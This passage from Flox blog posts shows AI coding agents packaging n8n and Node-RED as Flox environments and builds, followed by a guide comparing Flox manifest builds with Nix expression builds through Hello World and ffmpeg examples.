helpful for connecting APIs, services, and data. **Note**: No two agentic AI coding assistants (or the models underpinning them) are exactly alike, so this example uses a different, more focused Floxification prompt. Working with Flox, the Gemini CLI with Gemini 2.5 seems to require more explicit direction than Claude Code with Anthropic’s models; it’s helpful to have Gemini read and refer to **[FLOX.md](https://github.com/barstoolbluz/flox-md/blob/main/FLOX.md)**. (It’s possible that Gemini 3.0 might be better/smarter about this.) ``` > i want you to clone the GitHub n8n repo and turn it into a Flox environment that my teammates and I can run anywhere at any time. Configure n8n to run as a flox-managed service and create required idempotent logic in [hook] to bootstrap the n8n service and/or n8n itself. Pretty please. ``` Let’s take a break and prep a cafe while Gemini CLI does its thing—I recommend a dodeca-shot macchiato with a matcha chaser—so by the time we get back, our Floxified n8n environment will be ready to go. ``` ✦ Request complete. I've cloned, Flox-serviced, and debugged the n8n repository. I'll now explain that the environment is ready, how to start n8n with flox activate -s, and where to access its UI. No tools needed. ``` Fantastic. It finished. Let’s run **`flox edit`** to see if the Flox manifest looks like it will work: ``` [install] nodejs.pkg-path = "nodejs" pnpm.pkg-path = "pnpm" turbo.pkg-path = "turbo" python3.pkg-path = "python3" uv.pkg-path = "uv" [vars] N8N_HOST = "0.0.0.0" N8N_PORT = "5678" [hook] on-activate = ''' export PNPM_STORE_PATH="$FLOX_ENV_CACHE/pnpm-store" if [ ! -f "$FLOX_ENV_CACHE/.deps_installed" ]; then turbo run build touch "$FLOX_ENV_CACHE/.deps_installed" fi if [ ! -f "$FLOX_ENV_CACHE/.py_deps_installed" ]; then venv_dir="$FLOX_ENV_CACHE/n8n-python-venv" n8n_venv_path="$FLOX_ENV_PROJECT/packages/@n8n/task-runner-python/.venv" uv venv "$venv_dir" --python "$FLOX_ENV/bin/python3" (cd "$FLOX_ENV_PROJECT/packages/@n8n/task-runner-python" && uv pip install -p "$venv_dir/bin/python" .) ln -s "$venv_dir" "$n8n_venv_path" touch "$FLOX_ENV_CACHE/.py_deps_installed" fi ''' [services] n8n.command = "cd $FLOX_ENV_PROJECT && pnpm start" ``` Okay: Looks good. Now let’s run **`flox activate -s`** and check the status of the **`n8n`** service... ``` $ flox activate -s ✅ You are now using the environment 'n8n'. To stop using this environment, type 'exit' $ flox services status NAME STATUS PID n8n Running 83376 ``` ...along with that service’s log output: ``` Finished migration CreateWorkflowPublishHistoryTable1764167920585 Starting migration AddCreatorIdToProjectTable1764276827837 Finished migration AddCreatorIdToProjectTable1764276827837 Starting migration CreateDynamicCredentialResolverTable1764682447000 Finished migration CreateDynamicCredentialResolverTable1764682447000 Starting migration AddDynamicCredentialEntryTable1764689388394 Finished migration AddDynamicCredentialEntryTable1764689388394 n8n Task Broker ready on 127.0.0.1, port 5679 Failed to start Python task runner in internal mode. because its virtual environment is missing from this system. Launching a Python runner in internal mode is intended only for debugging and is not recommended for production. Users are encouraged to deploy in external mode. See: https://docs.n8n.io/hosting/configuration/task-runners/#setting-up-external-mode [license SDK] Skipping renewal on init: license cert is not initialized Registered runner "JS Task Runner" (0kqi8mG1a1aP7vD37Copb) Version: 2.0.0 Editor is now accessible via: http://0.0.0.0:5678 ``` The misbehaving Python task runner is a non-blocking issue; however, we’ll be sure to come back to it. For the present, let’s fire up a web browser to verify that the Floxified **`n8n`** environment actually works. Fantastic! It works! _Now_ let’s instruct Gemini to fix that persnickety task runner issue: ``` ✦ I'll fix the Python task runner's version mismatch. The problem is uv venv isn't using the correct Python. I'll modify the manifest.toml hook to specify the full path, $FLOX_ENV/bin/python3, for virtual environment creation. First, I'll read the manifest, then apply the change. … ✦ I fixed the Python task runner; flox activate -s ran successfully, creating the Python 3.13.9 virtual environment and installing dependencies. The n8n environment is now fully functional. I'll inform the user the issue is resolved, the n8n service is running, and provide the editor URL. ``` Did it fix the glitch? Let’s check the **`n8n`** service’s logs: ``` $ flox services logs n8n > cd packages/cli/bin && ./n8n Initializing n8n process n8n ready on ::, port 5678 n8n Task Broker ready on 127.0.0.1, port 5679 [license SDK] Skipping renewal on init: license cert is not initialized [runner:py] Starting runner... [runner:py] Connected to broker Registered runner "Python Task Runner" (0v16KikkuW6yTsMpdvNmXh) [runner:py] Registered with broker Registered runner "JS Task Runner" (K-S59VN0UJAoIIP6m5TLY) Version: 2.0.0 Editor is now accessible via: http://0.0.0.0:5678 ``` Offscreen, while you weren’t watching, I had Gemini CLI create a Flox runtime environment that **`git clone`**s n8n from its upstream repo, defines all the dependencies required to run it, and bootstraps its setup and configuration. To use this yourself, you need only run: ``` flox activate -s -r floxrox/n8n-from-source ``` ### A turn-key n8n you can run anywhere It took Gemini CLI a little over five minutes to Floxify n8n’s GitHub repo. But in this case, too, the **`n8n`** package is already available in the Flox Catalog. Let’s ask Gemini CLI to create a Flox environment that (1) defines the **`n8n`** package + required dependencies; (2) configures n8n to run as a service; and (3) works reproducibly across macOS (x86 and ARM) and Linux (x86 and ARM)—including on Windows with WSL2. ``` > Now create a Flox n8n environment in ~/dev/n8n and flox install n8n in it. then make sure that environment defines an n8n service and has logic in [hook] to bootstrap and run the n8n package we get from the Flox Catalog. ✦ I'll create a ~/dev/n8n-runtime directory, initialize a Flox environment there, then install and configure the n8n package as a service. To maintain a self-contained environment, I'll use a hook to redirect n8n's data directory to $FLOX_ENV_CACHE/.n8n via the N8N_USER_FOLDER variable. I'm starting now by creating the directory. ``` A time-elapsed video would show Gemini taking about three minutes. Not as fast as Claude Code, but epochs faster than bootstrapping the n8n repo from scratch. (More portable, too.) Once I push this environment to FloxHub, you can get a portable, turn-key n8n anywhere, at any time, just by running: ``` flox activate -r floxrox/n8n ``` But first, let’s check out that manifest. We need to make sure this thing actually works: ``` [install] n8n.pkg-path = "n8n" [vars] N8N_HOST = "0.0.0.0" N8N_PORT = "5678" N8N_USER_FOLDER = "$FLOX_ENV_CACHE/.n8n" [hook] on-activate = ''' mkdir -p "$N8N_USER_FOLDER" ''' [services] n8n.command = "n8n" n8n.vars.N8N_HOST = "$N8N_HOST" n8n.vars.N8N_PORT = "$N8N_PORT" n8n.vars.N8N_USER_FOLDER = "$N8N_USER_FOLDER" ``` That’s nicely minimal! Now for the Big Test: does it just work when we **`flox activate -s`**? ``` $ flox activate -s ✅ You are now using the environment 'n8n-runtime'. To stop using this environment, type 'exit' $ flox services status NAME STATUS PID n8n Launching 571277 ``` Promising! Let’s check the output from the **`n8n`** service’s log: ``` $ flox services logs n8n Finished migration AddWorkflowHistoryAutoSaveFields1762847206508 Starting migration ChangeOAuthStateColumnToUnboundedVarchar1763572724000 Finished migration ChangeOAuthStateColumnToUnboundedVarchar1763572724000 There are deprecations related to your environment variables. Please take the recommended actions to update your configuration: - DB_SQLITE_POOL_SIZE -> Running SQLite without a pool of read connections is deprecated. Please set `DB_SQLITE_POOL_SIZE` to a value higher than zero. See: https://docs.n8n.io/hosting/configuration/environment-variables/database/#sqlite - N8N_RUNNERS_ENABLED -> Running n8n without task runners is deprecated. Task runners will be turned on by default in a future version. Please set `N8N_RUNNERS_ENABLED=true` to enable task runners now and avoid potential issues in the future. Learn more: https://docs.n8n.io/hosting/configuration/task-runners/ - N8N_BLOCK_ENV_ACCESS_IN_NODE -> The default value of N8N_BLOCK_ENV_ACCESS_IN_NODE will be changed from false to true in a future version. If you need to access environment variables from the Code Node or from expressions, please set N8N_BLOCK_ENV_ACCESS_IN_NODE=false. Learn more: https://docs.n8n.io/hosting/configuration/environment-variables/security/ - N8N_GIT_NODE_DISABLE_BARE_REPOS -> Support for bare repositories in the Git Node will be removed in a future version due to security concerns. If you are not using bare repositories in the Git Node, please set N8N_GIT_NODE_DISABLE_BARE_REPOS=true. Learn more: https://docs.n8n.io/hosting/configuration/environment-variables/security/ [license SDK] Skipping renewal on init: license cert is not initialized Version: 1.121.3 Editor is now accessible via: http://$N8N_HOST:5678 ``` Just some warnings about changed or deprecated env vars. This thing works! Now let’s push to FloxHub: ``` $ flox push ✅ n8n successfully pushed to FloxHub as public View the environment at: https://hub.flox.dev/floxrox/n8n Use this environment from another machine: 'flox activate -r floxrox/n8n' Make a copy of this environment: 'flox pull floxrox/n8n' ``` ## Building + Publishing Custom Packages The final exercise enlists two different AI agents to build, package, and publish custom software. We use Flox to build, package, and publish custom versions of both Node-RED and n8n. This gives us reproducible build recipes that work anytime/anywhere _across OS platforms and CPU architectures_. We can pin versions of Node-RED/n8n (plus dependencies), bake in plugins, flows, and config settings, and include and maintain our own patches on top of upstream. Best of all, we can install our custom packages anywhere. The examples in this section use OpenAI’s Codex CLI tool (paired with GPT 5.1) and [Crush](https://github.com/charmbracelet/crush) (paired with Anthropic’s Claude Sonnet 4.5 model). We first use Codex to build, package, and publish Node-RED as a Flox [Nix expression build](https://flox.dev/docs/concepts/nix-expression-builds/) that runs in a sandbox. We then use Crush to build, package, and publish n8n as a Flox [manifest build](https://flox.dev/docs/concepts/manifest-builds/) . ### Building Node-RED To build Node-RED, we’ll invoke Codex on-demand by remotely activating a FloxHub environment: ``` $ flox activate -r floxrox/codex ✅ You are now using the environment 'floxrox/codex (remote)'. To stop using this environment, type 'exit' ``` (Again, it’s easy to create an alias (like **`codex`** or **`kodex`**) to remotely activate this environment.) Once we fire up Codex, we run **`/mcp`** to confirm that we’re using the Flox MCP server: ``` /mcp 🔌 MCP Tools • Server: flox • Command: flox-mcp • Tools: init_new_environment, install_package, list_environments, list_installed_packages, run_command, search_packages, show_package, uninstall_package ``` Great. Codex can see and use the Flox MCP server’s built-in tools. For this build, we’ll have it analyze a separate [FLOX.md](https://github.com/barstoolbluz/flox-md), co-located with [our forked Node-RED repo](https://github.com/floxrox/build-nodered). This gives it extra context for working with Flox Nix expression builds. **Note**: We fork the upstream Node-RED repo because Flox requires that all published packages can be reproduced using a clean, version-controlled Git repo, with a defined remote and pushed commit. This guarantees that packages always have verifiable, reproducible source and dependency provenance. We’ll use a variation of the prompt we used with Google Gemini CLI, above: ``` ▌ read FLOX.md and understand how to build + package software with flox nix expression builds. then create a nix expression for ▌ building this repo. this build needs to run on linux and macos, x86 and arm. got it? □ Review FLOX guidance on Nix expression builds for packaging requirements. □ Inspect repository to understand build tooling and dependencies. □ Draft cross-platform Nix expression under .flox/pkgs/ to build the project. • Updated Plan └ ✔ Review FLOX guidance on Nix expression builds for packaging requirements. □ Inspect repository to understand build tooling and dependencies. □ Draft cross-platform Nix expression under .flox/pkgs/ to build the project. • Explored └ List ls Read package.json List .flox • Updated Plan └ ✔ Review FLOX guidance on Nix expression builds for packaging requirements. ✔ Inspect repository to understand build tooling and dependencies. □ Draft cross-platform Nix expression under .flox/pkgs/ to build the project. ``` Just under 6 minutes (and 79,400+ tokens) later, Codex reports back: ``` > Added a Flox Nix build so this repo can be packaged reproducibly on Linux and macOS (x86 + arm) using flox build. - .flox/pkgs/node-red/default.nix:1 defines a buildNpmPackage derivation pinned to Node.js 20, wires in the root sources, references the tracked package-lock.json, locks the npm dependency tree via npmDepsHash, runs the Grunt build, and sets makeCacheWritable so the npm cache works inside the Nix sandbox while advertising both Darwin and Linux platforms. - package-lock.json is newly generated and tracked to satisfy Flox/Nix’s fixed-output dependency check and make future builds deterministic. - .flox/env.json and .flox/env/manifest.* come from flox init; they let Flox discover the environment and the new nix expression. flox build node-red now succeeds and drops the package in ./result-node-red. Next steps: 1. Smoke-test the packaged binary, e.g. ./result-node-red/bin/node-red. 2. When ready to share, run flox publish node-red (optionally with -o ). ``` Neat! Codex produced a working Nix expression build on the first try! Let’s double-check just to be certain: ``` $ flox build warning: Git tree '/home/daedalus/dev/test/build-nodered' is dirty warning: Git tree '/home/daedalus/dev/test/build-nodered' is dirty Building node-red-4.1.2 in Nix expression mode Completed build of node-red-4.1.2 in Nix expression mode ✨ Builds completed successfully. Output created: ./result-node-red ``` Here’s the Nix expression, just for the sake of completeness: ``` { pkgs ? import { } }: let lib = pkgs.lib; nodejs = pkgs.nodejs_20; root = ../../..; src = lib.cleanSource root; npmLock = root + "/package-lock.json"; in pkgs.buildNpmPackage { inherit nodejs src npmLock; pname = "node-red"; version = "4.1.2"; npmDepsHash = "sha256-/aBgx87o5ZNHqjHd905fQ9ljy7+qSwn5Kxn8BPN5n2k="; npmInstallFlags = [ "--include=dev" ]; npmBuild = true; makeCacheWritable = true; nativeBuildInputs = [ pkgs.python3 pkgs.pkg-config ]; buildInputs = lib.optionals pkgs.stdenv.isDarwin [ pkgs.darwin.cctools pkgs.libiconv ]; meta = { description = "Low-code programming for event-driven applications"; homepage = "https://nodered.org"; license = lib.licenses.asl20; platforms = lib.platforms.linux ++ lib.platforms.darwin; }; } ``` To build a custom Node-RED package with your preferred AI assistant, fork [this repo](https://github.com/floxrox/build-nodered) and make your changes. If you want to try this experiment on your own, delete **`./.flox/pkgs/node-red/default.nix`** and have your AI minion generate a new one. Once you **`flox publish`** your custom **`node-red`** package to your private Flox catalog, you can use it in your environments—anytime, anywhere. ### Building n8n n8n is next to impossible to build in a sandbox. The reason is that its build system triggers [pnpm](https://github.com/pnpm/pnpm) _to bootstrap itself_ during the pure package build. Inside the Nix sandbox, n8n’s build scripts run **`pnpm add pnpm@…`**, which needs network access to fetch and install a specific **`pnpm`** version. Network access is a no-no in a sandbox, which means n8n’s build architecture is incompatible with hermetic, sandboxed builds—even when pnpm is already available in the environment. So we’ll build n8n using a Flox manifest build _outside_ of a sandbox. While a non-sandboxed Flox manifest build is theoretically less reproducible (the build environment is, after all, not fully hermetic), declaring and pinning all known inputs (source revisions, toolchain, pnpm/Node versions, and OS packages) should constrain the surface so that build inputs and runtime dependencies can mostly be declared and controlled. We’ll use [Charmbracelet](https://github.com/charmbracelet)’s Crush coding tool with Claude Opus 4.5 to do the job. Full disclosure: n8n is incredibly trick to build and package, so Crush + Claude Opus 4.5 probably aren’t going to get this right on the first attempt. ``` /////// Charm™ /////////////////////////////////////////////////////////////// ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗ devel ██╔════╝ ██╔══██╗██║ ██║██╔════╝██║ ██║ ██║ ██████╔╝██║ ██║███████╗███████║ ██║ ██╔══██╗██║ ██║╚════██║██╔══██║ ╚██████╗ ██║ ██║╚██████╔╝███████║██║ ██║ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ~/dev/test/build-n8n ◇ Claude Opus 4.5 LSPs MCPs None ● flox 8 tools ``` tools ! read FLOX.md and understand how to build + package software with a Flox manifest build. Then create ::: a flox environment I can use to reproducibly `flox build` + `flox publish` n8n.█ ::: ``` Crush and Claude Opus 4.5 do their thing in less than two and a half minutes: ``` Charm™ CRUSH //////////////////////////////////////////////// ~/dev/test/build-n8n • 32% • ctrl+d open ▾ View ~/dev/test/build-n8n/.flox/env/manifest.toml 1 ## Flox Environment Manifest for n8n Build & Publish 2 ## ------------------------------------------------- 3 ## Build: flox build n8n 4 ## Publish: flox publish n8n 5 ## ------------------------------------------------- 6 version = 1 7 8 ## Install Packages — Build Dependencies 9 [install] 10 # Node.js 22.x (required: >=22.16) 11 … (187 lines) ✓ Flox environment created at .flox/env/manifest.toml ## Usage ### Build n8n flox build n8n # Output: ./result-n8n/bin/n8n ### Publish to your Flox catalog flox publish n8n # Or to an organization flox publish -o myorg n8n ### Install the published package elsewhere flox install /n8n ### Installed packages Package | Version | Purpose ---------------------+---------+--------------------------- nodejs_22 | ^22.16 | Node.js runtime pnpm_10 | ^10.22 | Package manager gcc | 14.3.0 | Native module compilation python311 | 3.11.x | node-gyp support git, coreutils, etc. | latest | Build tools ◇ Claude Opus 4.5 2m27s ``` As expected, the first attempt won’t build: the build definition tries to use the **`$FLOX_ENV_CACHE`** variable, which (like other default Flox environment variables) is not available during builds. We’ll paste the error so the agent can see it (we could also tell it to check the build log), hit **`Enter`**, and let Crush and Claude Opus 4.5 work it out. On its second attempt, less than 30 seconds later, it produces a working build: ``` Build is now running. This is a long build (~10–20 min). Run it in background: flox build n8n 2>&1 | tee build.log & The fix was removing FLOX_ENV_CACHE from vars/hook since it's not available during flox build (only during flox activate ). ``` As always, the proof is in the building: ``` Completed build of n8n-2.0.0 in local mode ✨ Builds completed successfully. Output created: ./result-n8n ``` The **`n8n-taskrunner`** successfully builds, too: ``` Completed build of n8n-taskrunner-2.0.0 in local mode ✨ Builds completed successfully. Output created: ./result-n8n-taskrunner ``` To build a custom n8n package with your preferred AI assistant, fork [this repo](https://github.com/floxrox/n8n) and make your changes. If you want to try this experiment on your own, delete **`./.flox/`** and have your AI minion generate a new one. Once you **`flox publish`** your custom **`n8n`** package to your private Flox catalog, you can use it in your environments—anytime, anywhere. ## Your Repo: Everywhere you want it to be With help from an AI agent, it’s easy to Floxify virtually any existing project. And it’s just as easy to have the agent “decorate” that project—e.g., adding aliases, helper functions, and other affordances. For the Flox **`node-red`** runtime environment, Claude Code created: - An auto-generated credential secret for security - A custom **`settings.js`** config - Helper commands that follow logs in real time, install nodes via the CLI, and check ports When you **`flox push`** this environment to [FloxHub](https://hub.flox.dev) the users—or AI coding assistants!—you share it with enjoy a turn-key experience. [FloxHub](https://flox.dev/docs/concepts/floxhub/) makes it easy to securely version, manage, and audit your Flox environments. You (or your AI agent minions) can pull Flox environments and use them to build with locally, on your own laptop. When you’re ready to ship, just **`flox push`** the same environment to FloxHub, or **`git push`** it to a Git repo—along with your project and its code. It’s just as easy to **`flox pull`** or **`git clone`** Flox environments in CI, or [bake them into OCI images](https://flox.dev/docs/man/flox-containerize/). You can even run Flox environments as imageless, [“Uncontained”](https://flox.dev/docs/k8s/intro/) workloads on Kubernetes! FloxHub makes it simple to [build and package](https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/) custom software, then publish it to your private Flox catalog of packages. If you’re intrigued, [download Flox](https://www.flox.dev/get) and try Floxifying one of your own repos. Not all projects are going to be as easy or straightforward, but I’ve yet to run into any repo that a competent AI agent can’t Floxify. If you get stuck, let us know, either by popping into our [Discourse forum](https://discourse.flox.dev/) or joining our [community Slack](https://go.flox.dev/slack). Title: Reproducible Builds Made Simple with Nix and Flox Source: https://flox.dev/blog/reproducible-builds-made-simple-with-nix-and-flox/ Date: 2025-11-25 Category: guide # Reproducible Builds Made Simple with Nix and Flox You can use Flox to build, package, and publish with pure Nix expressions. This is extremely useful when you need iron-clad reproducibility guarantees across time and space: what you build and ship locally builds and ships when you push it to CI. Flox is best known as the declarative package and environment manager powered by [open source Nix](https://nixos.org/guides/how-nix-works/). But Flox is also a **reproducible build system**. You can use Flox [manifest builds](https://flox.dev/docs/concepts/manifest-builds/) to reuse your existing build recipes and optionally run them in a Nix [sandbox](https://flox.dev/docs/concepts/manifest-builds/?h=sandbox#pure-builds). Alternatively, you can use Flox with [Nix expressions](https://flox.dev/docs/concepts/nix-expression-builds/?h=nix) to build, package, and publish your software to your private Flox catalog of packages. Deterministic builds are Nix’s superpower, and building with Nix expressions is _extremely_ useful when you need iron-clad reproducibility guarantees that span space and time. Whether you’re building software or running it, Flox exposes familiar semantics and intuitive commands that make it simple to create, ship, and share environments that behave the same on Linux (x86 and ARM), macOS (x86 and ARM), and Windows with WSL2 (x86). Flox environments always use platform-optimized binaries and libraries, and are smart enough to take advantage of features like GPU acceleration. This article explores how to build, customize, and publish software with Flox using both manifest-based and Nix expression-based workflows—with special emphasis on Nix expression builds. ## 1. Two Ways to Build and Publish Packages to the Flox Catalog Sometimes you need a package that isn’t yet in Nixpkgs, maybe because it’s [a niche tool](https://github.com/barstoolbluz/ssrc/), a [relatively new project](https://github.com/barstoolbluz/nix-ai-tools), or…because it’s your own software! Flox gives you a way to build software using your existing tools, package it (along with its complete set of runtime dependencies), and publish it to your private Flox catalog of packages. This means you can install your software anywhere just by running **`flox install`**. Build and Publish supports two distinct build modes: **Manifest builds**. Reuse your existing recipes and toolchains to build and package software. Building in an optional Nix sandbox prevents ambient state from leaking into your builds, promoting runtime reproducibility. Manifest builds are convenient, but getting them to work in a sandbox can be challenging. And build-time reproducibility still isn’t guaranteed, because a manifest build is only a Nix shim around your existing recipes: Nix doesn’t and can’t treat these recipes as pure functions of their declared inputs. **Nix expressions builds**. Use Nix expressions to customize existing packages or build your own software. Describe your package declaratively in the Nix language and use Flox to build it with all its dependencies—reproducibly, in a Nix sandbox. Nix treats builds as pure functions of their declared inputs, and enforces that with sandboxing and an input-addressed store. You get reproducible, isolated builds—across Linux, macOS, and Windows with WSL2—that produce packages you can publish and install anywhere. Neither mode is mutually exclusive; you can use both together. But why would you? ### 1.1 The Best of Both Build Experiences Building in a sandbox is _usually_ pretty straightforward with manifest builds on Linux, where Nix not only manages your toolchain, but provides GCC, **`libc`**, source headers, **`pkg-config`** files, and other build inputs. These dependencies get fetched as packages from the Nix binary cache (**`cache.nixos.org`**), so when Flox runs a sandboxed manifest build, it populates the sandbox using these Nix-provided packages. On macOS, it’s different. Xcode, the Apple SDKs, and other core system frameworks aren’t managed by Nix. Builds _outside_ the Nix sandbox inherit all of that Apple-provided state; inside_ the sandbox, however, this state is inaccessible, so you end up tracking down SDK and framework paths, wiring them through env vars like **`CC`**, **`CFLAGS`**, **`LDFLAGS**`, and **`SDKROOT`**. This is why defining a sandboxed Flox manifest build tends to be fairly simple on Linux, but can feel more than a little challenging on macOS. There _is_ another option, however. Flox builds with Nix expressions always run in a sandbox—and always just work. Anytime, anywhere. Why? For a couple of reasons: - **They’re strictly declarative**. A Nix expression lets you declaratively specify the build you want Nix to perform. You’re basically telling Nix _what_ should exist at the outcome (packages, artifacts, runtime environments), while delegating most of the step-by-step "how" mechanics to Nix's functional build machinery. When you declare a build with **`stdenv.mkDerivation`**, Nix evaluates that expression into what it calls a [derivation](https://nixos.org/guides/nix-pills/06-our-first-derivation.html): a concrete build recipe that records your source (**`src`**), dependencies (**`buildInputs`**, **`nativeBuildInputs`**, and so on), and other build parameters. Nix then uses this derivation to construct a dependency graph and run through the build phases provided by **`stdenv`**. Nix figures out how to do this itself, managing sandboxing and caching, even parallelizing build tasks. - **They produce purely functional derivations.** Because a derivation is the fully evaluated form of your Nix expression—with all its inputs (**`src`**, **`buildInputs`**, flags, and so on) spelled out—Nix can treat it as a pure function. The same inputs always produce the same derivation, which always generates the same **`/nix/store`** path, which always materializes as the same output bits. This same functional model is what powers Nix’s vaunted caching and sharing features: when Nix sees the same derivation again, it can safely skip rebuilding and reuse an existing artifact, whether it was built locally or fetched from a binary cache. To get a feel for how and why these two build experiences differ, let’s walk through a few small “Hello World” examples expressed both as Nix expressions and as Flox manifest builds. ### 1.2 "Hello World!" in Two Different Build Languages The following Nix expression defines a simple shell application named **`hello`**. This application uses Nix’s **`writeShellApplication`** helper function to print a greeting to the screen. ``` { pkgs ? import (builtins.fetchTarball "https://github.com/NixOS/nixpkgs/archive/nixos-24.05.tar.gz") {} }: pkgs.writeShellApplication { name = "hello"; text = '' echo "Hello World!" echo "This is a proof-of-concept Nix expression build." echo "Current date: $(date)" ''; } ``` The same build recipe expressed as a Flox manifest build looks like: ``` [install] cowsay.pkg-path = "cowsay" [build.hello-manifest] description = "Simple Hello World - manifest build version" version = "1.0.0" command = ''' mkdir -p $out/bin # Create a simple hello script cat > $out/bin/hello-simple << 'EOF' #!/usr/bin/env bash echo "Hello World!" echo "This is a proof-of-concept Nix expression build." echo "Current date: $(date)" EOF chmod +x $out/bin/hello-simple ''' ``` You can build both—at the same time!—by creating the required build definitions. Paste the first code example into a Nix expression in **`./.flox/pkgs`**, paste the second into your Flox manifest. Running **`flox build`** produces two executables in **`./result-hello/bin`** and **`./result-hello-manifest/bin/`**. The next Nix expression (below) changes things up. It, too, uses **`writeShellApplication`**, this time to print “Hello World” with stylized ASCII text rendering. The **`runtimeInputs`** array declares **`toilet`**—a modern clone of [figlet](https://en.wikipedia.org/wiki/FIGlet) that supports Unicode, color, and output effects—as a runtime dependency. This automatically makes **`toilet`** available in the script's **`PATH`**. ``` { pkgs ? import (builtins.fetchTarball "https://github.com/NixOS/nixpkgs/archive/nixos-24.05.tar.gz") {} }: let inherit (pkgs) writeShellApplication toilet; in writeShellApplication { name = "hello"; runtimeInputs = [ toilet ]; text = '' toilet "Hello World!" echo "This is a proof-of-concept Nix expression build." echo "Current date: $(date)" ''; } ``` In Nix, a [derivation](https://nixos.org/guides/nix-pills/06-our-first-derivation.html) is the declarative build recipe that produces a package. By overriding a derivation’s definition (Nix calls this its “attribute set”), you can change a package’s inputs or runtime behavior without redefining it from scratch. For example, the following Nix expression takes a base **`hello`** package and uses Nix’s **`overrideAttrs`** helper to modify an existing derivation without duplicating its definition. The base **`hello`** script uses **`toilet`**. The override keeps that definition but injects an extra **`checkPhase`** that rewrites the generated script so it calls **`cowsay`** instead. If **`hello`** isn’t already built, Nix first builds it (or fetches it from cache), then applies the override and uses the resultant derivation wherever it’s referenced. ``` { pkgs ? import (builtins.fetchTarball "https://github.com/NixOS/nixpkgs/archive/nixos-24.05.tar.gz") {} }: let inherit (pkgs) writeShellApplication toilet cowsay glibcLocales; # base package with toilet hello = writeShellApplication { name = "hello"; # toilet for the base version, cowsay for the overridden one runtimeInputs = [ toilet cowsay ]; # make Perl (and friends) happy on non-NixOS runtimeEnv = { LOCALE_ARCHIVE = "${glibcLocales}/lib/locale/locale-archive"; LANG = "en_US.UTF-8"; }; text = '' toilet "Hello World!" echo "This is a proof-of-concept Nix expression build." echo "Current date: $(date)" ''; }; # override to use cowsay instead of toilet hello-cowsay = hello.overrideAttrs (final: prev: { checkPhase = '' ${prev.checkPhase or ""} substituteInPlace "$target" \ --replace 'toilet "Hello World!"' 'cowsay "Hello World!"' ''; }); in hello-cowsay ``` There is no equivalent to overriding and repurposing an existing derivation with Flox manifest builds. Instead, you use imperative build logic to express how to produce the result you want. For example, the following Flox manifest defines a small **`hello-manifest`** script that uses **`cowsay`** from the start; it achieves a similar effect to the override defined above, but it does so by spelling out the build steps directly in Bash instead of modifying a pre-existing package. ``` version = 1 [install] cowsay.pkg-path = "cowsay" [build.hello-manifest] description = "Hello World with cowsay - manifest build version" version = "1.0.0" command = ''' mkdir -p $out/bin # Create the hello script using cowsay cat > $out/bin/hello-manifest << 'EOF' #!/usr/bin/env bash cowsay "Hello World!" echo "This is a proof-of-concept manifest build." echo "Current date: $(date)" EOF chmod +x $out/bin/hello-manifest ''' ``` All of this probably feels confusing and intimidating. But the good news is that **LLMs and agentic AI tools thoroughly grok Nix and the Nix language**. Each of the expressions above was developed and hardened by AI agents (Anthropic's Claude Code and OpenAI's Codex.) Agents won't necessarily get things _exactly_ right the first time, but iterating across 2-3 prompts always produces workable results. Agentic tools unlock the superpower of building and packaging software with Nix. Flox’s publishing features and the Flox Catalog enable you to turn those builds into shareable, runnable artifacts you can use anywhere, anytime. ## 2. Manifest vs. Nix Expression Builds Compared **Part 2** of this walk-through uses a real-world build target: **`ffmpeg`** for macOS. Why **`ffmpeg`**? Because it's challenging software to build and package. Why macOS? Because it’s much simpler to build in a sandbox on macOS with Nix expressions than with Flox manifest builds. With Nix expressions, the Darwin toolchain, SDKs, and build flags are already encoded in nixpkgs as derivations (via **`stdenv`** and the **`darwin.apple_sdk`** stack), so Nix can materialize the appropriate toolchain, headers, and other declared inputs inside the sandbox. A Flox manifest build, by contrast, is kind of like a shim between your existing (typically imperative) build logic and Nix’s functional build machinery, so it’s up to you to reconstruct an equivalent build environment manually inside the sandbox. ### 2.1 A Flox Manifest Build using ffmpeg Using Flox to build software on macOS _outside_ a Nix sandbox is straightforward enough: first declare the dependencies you need from the Flox Catalog, then define a **`[build]`** recipe with the required build logic, and run **`flox build`**[1]. To build **`ffmpeg`**, your Flox manifest might define the following build recipe: ``` [build.ffmpeg-darwin] description = "FFmpeg with rich support for audio codecs + containers" version = "7.1" command = ''' set -euo pipefail CC=clang CXX=clang++ export CC CXX ./configure \ --prefix="$out" \ --cc=clang \ --cxx=clang++ \ --enable-gpl \ --enable-nonfree \ --enable-libx264 \ --enable-libx265 \ --enable-libvpx \ --enable-libmp3lame \ --enable-libopus \ --enable-libvorbis \ --enable-libsoxr \ --enable-libtwolame \ --disable-libass \ --disable-libaom \ --disable-libsvtav1 \ --disable-filter=fspp \ --enable-encoder=dca \ --enable-libbluray \ --enable-libcdio \ --enable-libdvdnav \ --enable-libdvdread \ --pkg-config-flags="--static" \ --extra-cflags="-I$FLOX_ENV/include -O2" \ --extra-ldflags="-L$FLOX_ENV/lib -Wl,-rpath,$FLOX_ENV/lib" \ --extra-libs="-lpthread -lm -lz" make -j2 make install mkdir -p "$out/lib" ``` There’s a little more to it than this, of course; if curious, you can view the complete Flox manifest [here](https://github.com/barstoolbluz/ffmpeg/blob/main/.flox/env/manifest.toml). But will it run on _other macOS machines_? That is, if you build on an ARM-based Mac, will your software run on an x86 Mac? Maybe—but there’s no guarantee, because Flox’s manifest build machinery acts as a shim between your imperative build recipes (the inputs of which include whatever toolchains, SDKs, and environment variables happen to be “there” at build time) and Nix’s underlying functional build machinery. If you want reproducibly guarantees, you need a Nix expression that Nix evaluates into a derivation and builds inside a sandbox, so the build is enforced as a pure function of its declared inputs. ### 2.2 A Flox ffmpeg Build Using Nix Expressions This section shows you how to define a custom ffmpeg package that builds and runs anywhere. On both Linux and macOS, sandboxed Flox manifest builds are harder than building _outside_ a sandbox. Conversely, building in a sandbox with Nix expressions … typically just works. Ready to try it? There are just a _few_ requirements to check off before we get started. You need: - Flox version 1.6.0 or newer; - A Flox project directory; - A `pkgs` directory at `$PROJECT_DIRECTORY/.flox/pkgs`; - At least one `.nix` file inside that directory; - Packages defined in your Nix expression and packages declared as manifest builds can’t have the same names: you can’t have `hello` in `pkgs` and a build definition called `hello` in your manifest; - All files in `.flox/pkgs/` must be tracked by Git—added to the repository, though it need not be committed. You can put as many Nix expressions as you like into `pkgs`. If you want, you can also combine manifest and Nix expression builds at the same time. This not only gives you a way to reuse your existing build scripts, but (with Nix expressions) makes it easier to address sandboxing 